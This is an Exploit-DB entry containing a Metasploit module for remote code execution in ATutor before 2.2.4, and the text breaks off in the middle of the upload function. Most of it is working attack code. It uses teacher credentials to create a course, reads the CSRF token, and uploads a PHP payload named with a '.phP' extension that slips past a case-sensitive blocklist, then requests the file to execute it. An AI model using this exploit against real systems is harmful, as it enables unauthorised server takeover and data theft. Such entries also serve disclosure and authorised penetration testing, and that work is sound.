Exploit-DB #46691
Description: ATutor < 2.2.4 - 'file_manager' Remote Code Execution (Metasploit)
Type: webapps
Platform: php
Date: 2019-04-12
Author: AkkuS

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => "ATutor < 2.2.4 'file_manager' Remote Code Execution",
      'Description'    => %q{
         This module allows the user to run commands on the server with teacher user privilege.
         The 'Upload files' section in the 'File Manager' field contains arbitrary file upload vulnerability.
         The "$IllegalExtensions" function has control weakness and shortcomings.
         It is possible to see illegal extensions within "constants.inc.php". (exe|asp|php|php3|php5|cgi|bat...)
         However, there is no case-sensitive control. Therefore, it is possible to bypass control with filenames such as ".phP", ".Php"
         It can also be used in dangerous extensions such as "shtml" and "phtml". 
         The directory path for the "content" folder is located at "config.inc.php".
         For the exploit to work, the "define ('AT_CONTENT_DIR', 'address')" content folder must be located in the web home directory or the address must be known.

         This exploit creates a course with the teacher user and loads the malicious php file into server.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & MSF Module
        ],
      'References'     =>
        [
          [ 'CVE', ''  ],
          [ 'URL', 'http://pentest.com.tr/exploits/ATutor-2-2-4-file-manager-Remote-Code-Execution-Injection-Metasploit.html' ],
          [ 'URL', 'https://atutor.github.io/' ],
          [ 'URL', 'http://www.atutor.ca/' ]
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
        },
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => '09 April 2019',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),
        OptString.new('USERNAME', [true, 'The Teacher Username to authenticate as']),
        OptString.new('PASSWORD', [true, 'The Teacher password to authenticate with']),
        OptString.new('CONTENT_DIR', [true, 'The content folder location', 'content'])
      ],self.class)
  end

  def exec_payload

    send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "#{datastore['CONTENT_DIR']}", @course_id, "#{@fn}")
    })
  end

  def peer
    "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
  end

  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def print_error(msg='')
    super("#{peer} - #{msg}")
  end

  def print_good(msg='')
    super("#{peer} - #{msg}")
  end
##
# Version and Vulnerability Check
##
  def check

    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "#{datastore['CONTENT_DIR']}/")
    })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    if res.code == 404
       return Exploit::CheckCode::Safe
    end
    return Exploit::CheckCode::Appears
  end
##
# csrftoken read and create a new course
##
  def create_course(cookie, check)

    res = send_request_cgi({
      'method'   => 'GET',
      'uri' => normalize_uri(target_uri.path, "mods", "_core", "courses", "users", "create_course.php"),
      'headers' =>
      {
        'Referer' => "#{peer}#{datastore['TARGETURI']}users/index.php",
        'cookie'   => cookie,
      },
      'agent' => 'Mozilla'
    })

    if res && res.code == 200 && res.body =~ /Create Course: My Start Pag/
      @token = res.body.split('csrftoken"  value="')[1].split('"')[0]
    else
      return false
    end 

    @course_name = Rex::Text.rand_text_alpha_lower(5)
    post_data = Rex::MIME::Message.new
    post_data.add_part(@token, nil, nil,'form-data; name="csrftoken"')
    post_data.add_part('true', nil, nil, 'form-data; name="form_course"')
    post_data.add_part(@course_name, nil, nil, 'form-data; name="title"')
    post_data.add_part('top', nil, nil, 'form-data; name="content_packaging"')
    post_data.add_part('protected', nil, nil, 'form-data; name="access"')
    post_data.add_part('Save', nil, nil, 'form-data; name="submit"')
    data = post_data.to_s

    res = send_request_cgi({
      'method' => 'POST',    
      'data'  => data,
      'agent' => 'Mozilla',
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'cookie' => cookie,
      'uri' => normalize_uri(target_uri.path, "mods", "_core", "courses", "users", "create_course.php")     
    })

    location = res.redirection.to_s
    if res && res.code == 302 && location.include?('bounce.php?course')
      @course_id = location.split('course=')[1].split("&p")[0]
      return true
    else
      return false
    end
  end
##
# Upload malicious file // payload integration
##
  def upload_shell(cookie, check)

    res = send_request_cgi({
      'method'   => 'GET',
      'uri' => normalize_uri(target_uri.path, "bounce.php?course=" + @course_id),
      'headers' =>
      {
        'Referer' => "#{peer}#{datastore['TARGETURI']}users/index.php",
        'cookie'   => cookie,
      },
      'agent' => 'Mozilla'
    })

    ucookie = "ATutorID=#{$2};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*);/

    file_name = Rex::Text.rand_text_alpha_lower(8) + ".phP"
    @fn = "#{file_name}"
    post_data = Rex::MIME::Message.new
    post_data.add_part('10485760', nil, nil,